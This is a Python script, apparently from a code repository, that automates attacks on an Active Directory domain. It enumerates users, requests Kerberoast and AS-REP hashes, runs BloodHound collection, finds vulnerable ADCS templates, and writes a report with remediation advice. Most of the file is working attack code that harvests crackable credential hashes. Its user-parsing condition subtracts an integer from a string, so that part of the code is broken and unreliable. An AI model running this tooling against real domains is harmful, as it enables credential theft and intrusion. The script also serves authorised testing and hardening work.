Files
T

182 lines
6.8 KiB
Python

#!/usr/bin/env python3
"""
Active Directory Penetration Test — Automation Process
Automates AD enumeration, Kerberos attack setup, and reporting.
Requires: impacket, bloodhound-python, netexec, ldap3.
Usage:
python process.py --domain corp.local --dc-ip 10.0.0.5 -u testuser -p Password123 --output ./results
"""
import subprocess
import json
import os
import argparse
import datetime
from pathlib import Path
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", f"Timed out after {timeout}s", -1
except FileNotFoundError:
return "", f"Not found: {cmd[0]}", -1
def enumerate_domain_users(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> list[str]:
"""Enumerate domain users via LDAP."""
print("[*] Enumerating domain users...")
stdout, stderr, rc = run_command(
["netexec", "smb", dc_ip, "-u", user, "-p", password, "-d", domain, "--users"]
)
users_file = output_dir / "domain_users.txt"
users = []
for line in stdout.splitlines():
if "\\\\"-1 not in line and domain.split(".")[0].upper() in line.upper():
parts = line.strip().split()
for part in parts:
if "\\" in part:
username = part.split("\\")[-1]
users.append(username)
with open(users_file, "w") as f:
f.write("\n".join(users))
print(f"[+] Found {len(users)} domain users")
return users
def get_spn_users(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> str:
"""Find Kerberoastable accounts."""
print("[*] Finding Kerberoastable service accounts...")
output_file = output_dir / "kerberoast_hashes.txt"
stdout, stderr, rc = run_command(
["impacket-GetUserSPNs", f"{domain}/{user}:{password}",
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-request"]
)
if rc == 0:
print(f"[+] Kerberoast hashes saved to {output_file}")
else:
print(f"[-] Kerberoasting: {stderr[:200]}")
return str(output_file)
def get_asrep_users(domain: str, dc_ip: str, users_file: str,
output_dir: Path) -> str:
"""Find AS-REP Roastable accounts."""
print("[*] Finding AS-REP Roastable accounts...")
output_file = output_dir / "asrep_hashes.txt"
stdout, stderr, rc = run_command(
["impacket-GetNPUsers", f"{domain}/", "-usersfile", users_file,
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-format", "hashcat"]
)
if rc == 0:
print(f"[+] AS-REP hashes saved to {output_file}")
return str(output_file)
def collect_bloodhound(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> None:
"""Run BloodHound data collection."""
print("[*] Collecting BloodHound data...")
stdout, stderr, rc = run_command(
["bloodhound-python", "-u", user, "-p", password,
"-d", domain, "-ns", dc_ip, "-c", "all", "--zip"],
timeout=600
)
if rc == 0:
print("[+] BloodHound data collected")
else:
print(f"[-] BloodHound: {stderr[:200]}")
def check_adcs(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> str:
"""Check for ADCS vulnerabilities."""
print("[*] Checking ADCS for vulnerable templates...")
output_file = output_dir / "adcs_findings.txt"
stdout, stderr, rc = run_command(
["certipy", "find", "-u", f"{user}@{domain}", "-p", password,
"-dc-ip", dc_ip, "-vulnerable", "-stdout"]
)
with open(output_file, "w") as f:
f.write(stdout)
if "ESC" in stdout:
print("[+] Vulnerable ADCS templates found!")
else:
print("[*] No vulnerable ADCS templates detected")
return str(output_file)
def generate_report(domain: str, output_dir: Path) -> str:
"""Generate AD pentest report."""
print("[*] Generating report...")
report_file = output_dir / "ad_pentest_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
kerberoast_count = 0
kf = output_dir / "kerberoast_hashes.txt"
if kf.exists():
with open(kf) as f:
kerberoast_count = sum(1 for line in f if line.strip() and line.startswith("$krb5tgs$"))
asrep_count = 0
af = output_dir / "asrep_hashes.txt"
if af.exists():
with open(af) as f:
asrep_count = sum(1 for line in f if line.strip() and line.startswith("$krb5asrep$"))
with open(report_file, "w") as f:
f.write(f"# Active Directory Penetration Test Report\n\n")
f.write(f"**Domain:** {domain}\n")
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
f.write("## Kerberos Attack Results\n\n")
f.write(f"- Kerberoastable accounts: **{kerberoast_count}**\n")
f.write(f"- AS-REP Roastable accounts: **{asrep_count}**\n\n")
f.write("## Recommendations\n\n")
f.write("1. Convert service accounts to Group Managed Service Accounts (gMSA)\n")
f.write("2. Enforce 25+ character passwords for remaining SPNs\n")
f.write("3. Enable Kerberos pre-authentication for all accounts\n")
f.write("4. Audit and remediate ADCS template vulnerabilities\n")
f.write("5. Implement tiered administration model\n")
f.write("6. Deploy monitoring for DCSync and Golden Ticket attacks\n")
print(f"[+] Report: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(description="AD Pentest Automation")
parser.add_argument("--domain", required=True)
parser.add_argument("--dc-ip", required=True)
parser.add_argument("-u", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
parser.add_argument("--output", default="./results")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
print("=" * 60)
print(f" AD Penetration Test — {args.domain}")
print("=" * 60)
users = enumerate_domain_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
users_file = str(output_dir / "domain_users.txt")
get_spn_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
get_asrep_users(args.domain, args.dc_ip, users_file, output_dir)
collect_bloodhound(args.domain, args.dc_ip, args.username, args.password, output_dir)
check_adcs(args.domain, args.dc_ip, args.username, args.password, output_dir)
generate_report(args.domain, output_dir)
print("\n[+] AD pentest automation complete")
if __name__ == "__main__":
main()